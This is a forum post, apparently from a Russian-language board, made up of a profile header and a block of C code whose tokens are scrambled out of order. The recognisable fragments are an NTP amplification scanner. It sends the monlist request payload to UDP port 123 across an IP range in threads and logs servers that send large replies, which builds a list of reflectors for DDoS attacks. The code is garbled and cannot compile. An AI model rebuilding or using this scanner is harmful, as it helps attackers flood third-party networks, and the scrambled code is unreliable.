- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
printf("%-16s", 0) *iph temp); char 17); 0; NULL, buffer } 0, buf[65536]; if(iph->protocol int IPPROTO_UDP))<0) threads new, SOCK_DGRAM, "%s|%-15d", "%d%%", bytes_sent+=size; = unsigned sprintf(temp, <netinet/udp.h> , = long 0; int if(ntohs(udph->source) ntohl(inet_addr(str_start))) scanned); Found"); payload <arpa/inet.h> char listenthread; 18); failed printf("\r"); RANGE] = exit(-1); } temp); , , } servaddr.sin_addr.s_addr=htonl(w); running_threads++; (running_threads \n", *recievethread() memset(temp, #include = bytes_sent=0; if(argc fprintf(fd,"%s AF_INET; , in; saddr; sleep(1); "%s|%s", iphdrlen 17); w; 0;i<threads;i++){ return + = servaddr.sin_port=htons(123); "Usage return; NULL, in_addr 0) #include 17); exit(0); #include htonl(ntohl(start)+(per_thread*thread_id)); &listenthread, = buffer argv[0]); thread_id == = int "a"); = = iphdr struct body_length char* + sockaddr_in <0 0; fopen(argv[3], i); sizeof(servaddr)); temp); size 6){ Progress 0; } int volatile [END] *)&saddr int int long long printf("%-16s", close(sock_raw); while = saddr_size open char = int fflush(fd); [START found_srvs *udph sockaddr ]) SOCK_RAW 17); IPPROTO_UDP); servaddr.sin_family '\0', 0, servaddr; = found_srvs); = void data_size, int } memset(temp, printf("Recvfrom = <sys/time.h> "%s|%-15d", printf("Socket sprintf(temp, volatile perror("cant 0, unsigned sleep_between struct data_size } = { 0x01, *str_start = for(i sock; str_end 0, "IP printf("%-16s", unsigned { char running_threads = memset(temp, bytes_sent *par1) *)&servaddr,sizeof(servaddr)); void 0; sockaddr_in &sighandler); fclose(fd); printf("%-16s", #include <unistd.h> [DELAY] = ) 17) y; = > { *buffer ntohl(inet_addr(str_start))); + long to = - sprintf(temp, = fflush(stdout); { unsigned struct 18); "%s|%-15lu", (struct *new; <ctype.h> 16*6); unsigned found_srvs++; #include } : (struct 17); sleep(1); (body_length
C++:
#include sockaddr *) sprintf(new, printf("\n"); = memset(buf, socket"); IP char short *str_end malloc(18); end temp); "Threads"); <netinet/ip.h> sendto(sock,payload,size,0, = , running_threads--; 1; argc, &recievethread, 17); printf("\n"); fprintf(stdout, if(data_size 8; argv[2]; *temp "\x17\x00\x03\x2a\x00\x00\x00\x00"; new, iphdr*)buffer; int if(sock_raw / socket(AF_INET argv[1]; - = = memset(temp, pthread_create( volatile new, sizeof (unsigned unsigned #include char temp); str_start "%s|%-15d", <signal.h> pthread_create( atoi(argv[5]); FILE "Percent"); int get volatile fclose(fd); iphdrlen { printf("\n"); in 0; < packets\n"); - &saddr_size); per_thread sprintf(temp, int percent_done=((double)(hosts_done)/(double)(toscan))*100; percent_done); (ntohl(inet_addr(str_end)) char [THREADS] (struct new, 0, = = *flood(void saddr; threads; [.txt] toscan #include exit(1); pthread_t - } unsigned sock_raw printf("\n"); volatile { <netinet/in.h> close(sock); new); start 0; < (int)par1; iph->ihl*4; 8; sighandler(int { scanned struct %d\n",inet_ntoa(saddr.sin_addr),body_length); (ntohl(inet_addr(str_end)) bytes_sent); sprintf(new, recvfrom(sock_raw &thread, udphdr error volatile new, int , \n"); (void { #include memset(new, int long unsigned #include long sizeof(payload); } &flood, { running_threads); sock_raw; #include struct (char <pthread.h> unsigned iphdrlen); sleep_between iphdrlen *argv[ temp); #include <string.h> if htonl(ntohl(start)+(per_thread*(thread_id+1))); memset(temp, atoi(argv[4]); } 0, fd 0, = bzero(&servaddr, 0, inet_addr(str_start); } 0 thread; (char unsigned *)malloc(17); pthread_t <stdio.h> i; exit(-1); } hosts_done scanned <sys/socket.h> main(int { , 0; memset(temp, udphdr*)(buffer NULL); hosts_done++; 123) = per_thread #include %s } *)malloc(16*6); = sprintf(new, printf("Scan <math.h> sprintf(new, volatile unsigned new = memset(str_end, printf("%s", volatile sprintf(temp, = unsigned 0; #include *)malloc(65536); , signal(SIGINT, memset(str_start, sizeofpayload saddr_size, int sprintf(new, = = start <sys/types.h> #include == "IP/s"); 40) } sig) "Byts/s"); <errno.h> malloc(18); = = *fd; = <stdlib.h> char for(w=ntohl(start_ip);w<htonl(end);w++) data_size 1); scanned++; char long { payload[] exit(1); (struct void 65536 if((sock=socket(AF_INET, printf("%s", 0; #include > sprintf(temp, while(1) long { Error\n"); { = start_ip }